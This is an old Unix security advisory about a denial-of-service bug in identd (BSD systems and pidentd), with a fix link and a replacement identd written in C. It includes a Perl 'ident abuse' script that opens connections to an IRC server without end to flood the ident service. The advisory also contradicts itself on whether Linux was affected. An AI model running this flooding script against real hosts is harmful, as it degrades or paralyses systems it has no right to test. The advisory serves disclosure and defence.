COMMAND

    identd

SYSTEMS AFFECTED

    FreeBSD, NetBSD, and OpenBSD   prior to 8/1/97, Linux, ANY  system
    running pidentd.

PROBLEM

    Following info  is based  on Corinne  Posse Security  Notice about
    "denial of service care  of identd".    A massive amount of  ident
    requests causes  the identd  daemon to  "spin" because  the daemon
    does not correctly  close the socket  from the host  that issues a
    request.   This  is  due  to  a  poorly implemented incantation of
    wait().   The  improper  code  perpetuates  the identd process and
    allows   the   process   to   hang,   slowing  system  performance
    considerably.  On average, 2-3 spinning processes slow the  system
    noticeably-- 10-15  make the  system unusable.  Bear in  mind that
    this  is  all  based  on  the  speed  of  the system and the above
    numbers hold  true for  machines like  a p5/100  with 32M  of RAM.
    Simply "kill -9 (ident's PIDs)" fixes the problem if it occurs.

    This problem  was discovered  simultaneously by  Jack0 as  well as
    Jonathan Katz. Jack0  noticed that a  user's repeated requests  to
    an IRC server spawned many identd processes on his local  machine,
    bringing his box to a crawl.  Jon noticed that after someone  sent
    email  to  the  various  mailing  lists  he  runs,  the many hosts
    receiving the mail would make ident requests and leave his  system
    paralyzed. To see if your system is vulnerable, Jack0 has come  up
    with a  PERL script  that repeatedly  tries to  connect to  an IRC
    server.  With a little tinkering, the script can be used to  adapt
    to a variety  of different services  if you want  or need to  test
    other services.

    #!/usr/bin/perl
    # Ident abuse script which can be used to test for the identd vulnerability
    # on the local system.
    # jack0@cpio.org for questions

    #include <Socket.pm>
    use Socket;
    my($h,$p,$in_addr,$proto,$addr);
    $h = "$ARGV[0]";
    $p = 6667 if (!$ARGV[1]);
    if (!$h) {
      print "Host name most be specified i.e.,; some.server.net\n";
    }
    $in_addr = (gethostbyname($h))[4];
    $addr = sockaddr_in($p,$in_addr);
    $proto = getprotobyname('tcp');
    &connect;

    sub connect {
      print "Connection in progress:\n";
      socket(S, AF_INET, SOCK_STREAM, $proto) or die $!;
      connect(S,$addr) or die $!;
      select S;
      $| = 1;
      print "QUIT\n";
      select STDOUT;
      close S;
      &connect;
    }

SOLUTION

    Thanks to Theo de Raadt of the OpenBSD project, OpenBSD has  fixed
    this  problem.   That  patch  is  now  incorporated  into the main
    Pidentd distribution as of version 2.8a4 now available on:

        ftp://ftp.lysator.liu.se/pub/ident/servers/pidentd-2.8a4.tar.gz

    Phillip  R.   Jaenke  posted   fix  for   Linux.    Compile   with
    gcc -Wall -O3 -m486 identd.c -o identd

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/uio.h>
    #include <sys/time.h>
    #include <ctype.h>
    #include <string.h>

    int writeranduser(void)
    {
            int r;
            char username[12];
            srandom(getpid());
            memset(username, 0, 12);
            r = random() % 26;
            r = r + 'a';
            memset(username, r, 11);
            if(write(1, username, strlen(username)) < strlen(username))
                    exit(0);
            return 1;
    }

    int main(int argc, char **argv)
    {
            char genrandomuser = 1;
            char *portpair = NULL;
            fd_set rset;
            struct timeval tv;
            int i;

            if(argc > 1) genrandomuser = 0;
            portpair = malloc(1024);
            if(!portpair)
                    exit(0);
            memset(portpair, 0, 1024);
            tv.tv_sec = 180;
            tv.tv_usec = 0;
            FD_ZERO(&rset);
            FD_SET(0, &rset);
            i = select(1, &rset, NULL, NULL, &tv);
            if(i < 1)
                    exit(0);
            if(read(0, portpair, 512) < 1)
                    exit(0);
            while(*portpair)
            {
                    if(isdigit(*portpair))
                            if(write(1, portpair, 1) < 0)
                                    exit(0);
                            else;
                    else if(*portpair == ',')
                            if(write(1, portpair, 1) < 0)
                                    exit(0);
                            else;
                    portpair++;
            }
            if(write(1, " : USERID : UNIX : ", 19) < 19)
                    exit(0);
            if(!genrandomuser)
                    if(write(1, argv[1], strlen(argv[1])) < strlen(argv[1]))
                            exit(0);
                    else;
            else
                    writeranduser();
            if(write(1, "\r\n", 2) < 2)
                    exit(0);
            return 1;
    }

    This bug did not affect HP-UX, SVR4 (Solaris et al), IRIX, UNICOS,
    A/UX,  SCO  or  Linux  since  they  support  the  "signal(SIGCHLD,
    SIG_IGN)" way of automatically disposing of dead children.)